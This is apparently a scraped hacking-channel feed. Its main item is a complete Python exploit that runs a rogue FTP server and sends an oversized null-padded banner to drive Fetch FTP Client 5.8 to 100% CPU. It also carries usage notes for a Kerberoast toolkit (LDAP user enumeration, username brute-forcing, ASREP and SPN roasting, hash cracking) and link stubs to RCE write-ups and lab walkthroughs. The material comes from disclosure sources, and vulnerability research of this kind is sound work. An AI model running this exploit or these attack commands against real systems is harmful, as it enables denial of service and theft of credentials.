Hello Everyone….Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/paytm-broken-link-hijacking-11624e4e9eef?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fetch Softworks Fetch FTP Client 5.8 Denial Of Service

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Fetch Softworks Fetch FTP Client version 5.8 suffers from a remote CPU consumption denial of service vulnerability.

MD5 | b120c41a241827707c8e3340029f43d7

Download
#!/usr/bin/env python
#
#
# Fetch Softworks Fetch FTP Client 5.8 Remote CPU Consumption (Denial of Service)
#
#
# Vendor: Fetch Softworks
# Product web page: https://www.fetchsoftworks.com
# Affected version: 5.8.2 (5K1354)
#
# Summary: Fetch is a reliable, full-featured file transfer client for the
# Apple Macintosh whose user interface emphasizes simplicity and ease of use.
# Fetch supports FTP and SFTP, the most popular file transfer protocols on
# the Internet for compatibility with thousands of Internet service providers,
# web hosting companies, publishers, pre-press companies, and more.
#
# Desc: The application is prone to a DoS after receiving a long server response
# (more than 2K bytes) leading to 100% CPU consumption.
#
# --------------------------------------------------------------------------------
# ~/Desktop> ps ucp 3498
# USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
# lqwrm 3498 100.0 0.5 60081236 54488 ?? R 5:44PM 4:28.97 Fetch-5K1354-266470421
# ~/Desktop>
# --------------------------------------------------------------------------------
#
# Tested on: macOS Monterey 12.2
# macOS Big Sur 11.6.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2022-5696
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5696.php
#
#
# 27.01.2022
#

import socket

host = '0.0.0.0'
port = 21

s = socket.socket()
s.bind((host, port))
s.listen(2)

print('Ascolto su', host, 'porta', port, '...')

consumptor = '220\x20'
consumptor += 'ftp.zeroscience.mk'
consumptor += '\x00' * 0x101E
consumptor += '\x0D\x0A'

while True:
try:
c, a = s.accept()
print('Connessione da', a)
print('CPU 100%, Memory++')
c.send(bytes(consumptor, 'UTF-8'))
c.send(b'Thricer OK, p\'taah\x0A\x0D')
print(c.recv(17))
except:
break

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Critical CSRF to RCE in FileBrowser

https://cdn-images-1.medium.com/max/1200/1*JuQWZtUHamKuKhjU1VZeQg.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Letting China in Through the Front Door?

https://cdn-images-1.medium.com/max/1400/1*r3zRiOi48_0-psv-NTVHog.png
By Andy Keiser, NSI Fellow and Michael Lumpkin

Continue reading on The SCIF »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
MetaMask ve NFT’ler bir araya geldiğinde IP adresinizin açığa çıkabileceğini biliyor muydunuz?

https://cdn-images-1.medium.com/max/1280/1*atrLJTbPDz6TA_zAMKplIA.jpeg
21 milyon kullanıcısı*¹ ile kripto para cüzdanlarının en güçlüsü, en çok tercih edileni MetaMask! Hangi DeFi projesine giderseniz gidin…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cambios en la nueva ISO/IEC 27002:2022

https://cdn-images-1.medium.com/max/1593/0*x_IYCmliQBBDUHs8
PUBLICADO EN 27 ENERO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nineveh | HackTheBox writeup

https://cdn-images-1.medium.com/max/698/1*IxtrEjWnHS0AU7Y4Smm_PA.png
an ancient Assyrian city of Upper Mesopotamia, located on the outskirts of Mosul in modern-day northern Iraq

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Journey to the first 2 CVEs

https://cdn-images-1.medium.com/max/728/1*DkGtePD8FwvWNS-H8RsaUQ.png
Hello Hackers,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Alfred —  TryHackMe walkthrough

https://cdn-images-1.medium.com/max/600/1*LCrIBEvO-NKFN5IQWxjZYQ.png
Exploit Jenkins to gain an initial shell, then escalate your privileges by exploiting Windows authentication tokens.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Tiny File Manager Authenticated RCE

https://cdn-images-1.medium.com/max/1024/0*--imb12G6Pw53VMg
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Kerberoast : Kerberoast Attack -Pure Python-

Kerberoast attack toolkit -pure python

Install

pip3 install kerberoast

Prerequirements

Python 3.6 See requirements.txt For the impatient

IMPORTANT: the accepted target url formats for LDAP and Kerberos are the following : : Steps -with SSPI-: kerberoast auto Steps -SSPI not used-:

* Look for vulnerable users via LDAP kerberoast ldap all * Use ASREP roast against users in the ldapenum_asrep_users.txtfile kerberoast asreproast * Use SPN roast against users in the ldapenum_spn_users.txtfile kerberoast spnroast * Crack SPN roast and ASPREP roast output with hashcat Commands ldap

This command group is for enumerating potentially vulnerable users via LDAP. Command structure kerberoast ldap Type: It supports three types of users to be enumerated

* spnEnumerates users with servicePrincipalNameattribute set.
* asrepEnumerates users with DONT_REQ_PREAUTHflag set in their UAC attribute.
* allStartes all the above mentioned enumerations. ldap_connection_url: Specifies the usercredential and the target server in the msldap url format (see help) options: -o: Output file base name brute

This command is to perform username enumeration by brute-forcing the kerberos service with possible username candidates Command structure kerberoast brute realm: The kerberos realm usually looks like COMPANY.corpdc_ip: IP or hostname of the domain controller targets: Path to the file which contains the possible username candidates options: -o: Output file base name asreproast

This command is to perform ASREProast attack Command structure kerberoast asreproast dc_ip: IP or hostname of the domain controller options: -r: Specifies the kerberos realm to be used. It overrides all other realm info. -o: Output file base name -t: Path to the file which contains the usernames to perform the attack on -u: Specifies the user to perform the attack on. Format is either or but in the first case, the -roption must be used to specify the realm spnroast

This command is to perform SPNroast (AKA kerberoast) attack. Command structure kerberoast spnroast kerberos_connection_url: Specifies the usercredential and the target server in the kerberos URL format (see help) options: -r: Specifies the kerberos realm to be used. It overrides all other realm info. -o: Output file base name -t: Path to the file which contains the usernames to perform the attack on -u: Specifies the user to perform the attack on. Format is either or but in the first case, the -roption must be used to specify the realm Download

___________________________
@hacking_Attack
@Hacking_Video